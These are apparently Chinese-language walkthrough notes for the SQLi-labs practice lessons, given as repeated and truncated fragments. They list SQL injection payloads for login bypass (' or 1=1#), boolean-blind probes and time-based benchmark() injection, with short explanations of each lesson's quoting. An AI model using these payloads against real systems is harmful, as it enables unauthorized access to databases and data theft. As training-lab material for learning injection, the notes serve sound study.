Less-15这个注入使用的是布尔值注入: uname=admin&passwd=password' or 1=1#&submit=Submit SQL数据库在查询的时候,因为后面的or 1=1,所以无论前面的查询是否正确,都会返回一个正确的结果,这样就可以Iogged In。 Less-16同上: uname=admin&passwd=password") or 1=1#&submit=Submit
Less-15这个注入使用的是布尔值注入: uname=admin&passwd=password' or 1=1#&submit=Submit SQL数据库在查询的时候,因为后面的or 1=1,所以无论前面的查询是否正确,都会返回一个正确的结果,这样就可以Iogged In。 Less-16同上: uname=admin&passwd=password") or 1=1#&submit=Submit
Less-11这个页面采用POST的方法得到数据。于是用HackBar修改post数据进行测试: uname=admin&passwd=password' and benchmark(10000000,sha(1))#&submit=Submit 测试发现,这个格式的注入使得服务器返回页面变慢,得知之后的benchmark语句得到执行。所以再构造类似于 uname=admin&passwd=password' and left(version(),1)=5 and benchmark(100…
Less-9尝试了很多次,各种组合,但是服务器返回的结果都是一样。尝试 ?id=10000000000 返回结果也是正确,因为不存在这么大的id,所以判断这个页面把正确和错误的信息全部返回一致。于是,使用基于时间的注入,构造以下语句: ?id=1'and benchmark(10000000,sha(1))# 让服务器处理几秒返回结果,找到正确的注入点。 Less-10又是一个基于时间的注入,尝试了下,注入点在这: ?id=1" and benchmark(10000000,sha(1))#
Less-5 ?id=1'and+1=2# Less-6 ?id=1"and+1=2# Less-7 ?id=1'))and 1=2# Less-8 ?id=1' and 1=2#
对变量id做了处理。该处理在id前后添加双引号。 ?id=1%22%29+and+1=2%23 无显示,可注入 SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1
源码:未过滤,但变量id加了引号和括号。将变量id以字符串形式引入,和Less-1很像,但是却又多了个括号,猜测是防止注入语句。注入测试: ?id=12+and+1=1 显示正确 ?id=12+an 不完全语句也显示正确 猜测:括号将变量限制在括号范围内,尝试手动提前匹配括号注入。 ?id=12%27 成功报错:''12'') LIMIT 0,1' at line 1 ?id=1%27%29and+1=2%23 无显示,可注入 上面那条语句还原到SQL语句时,为: SELECT * FORM users WHERE…
源码:同样未做过滤,但此处的变量id无引号。大概是直接将变量id当做整形传入查询。?id=12 显示id为12的用户?id=12a 报错:Unknown column '12a' in 'where clause'?id=%31 显示id为1的用户注入测试:?id=1+and+left(version(),1)=5 直接注入即可得到版本号
这是Less-1输入变量部分的源码,可以看到对于直接GET进来的文本没有过滤。同时,在查询语句中,id='$id',变量加了引号。这里引号的意思是把输入的id当做字符串来处理,取从头开始的最长数字且类型转换为整形进行查询。 ?id=12a 显示id为12的用户 ?id=1a2a 显示id为1的用户 ?id=102a 显示id为102的用户(不存在) 盲注 ?id=1%27and+left(version(),1)=5%23 得出数据库版本为5开头 ?id=1%27and+length(database())=8%2…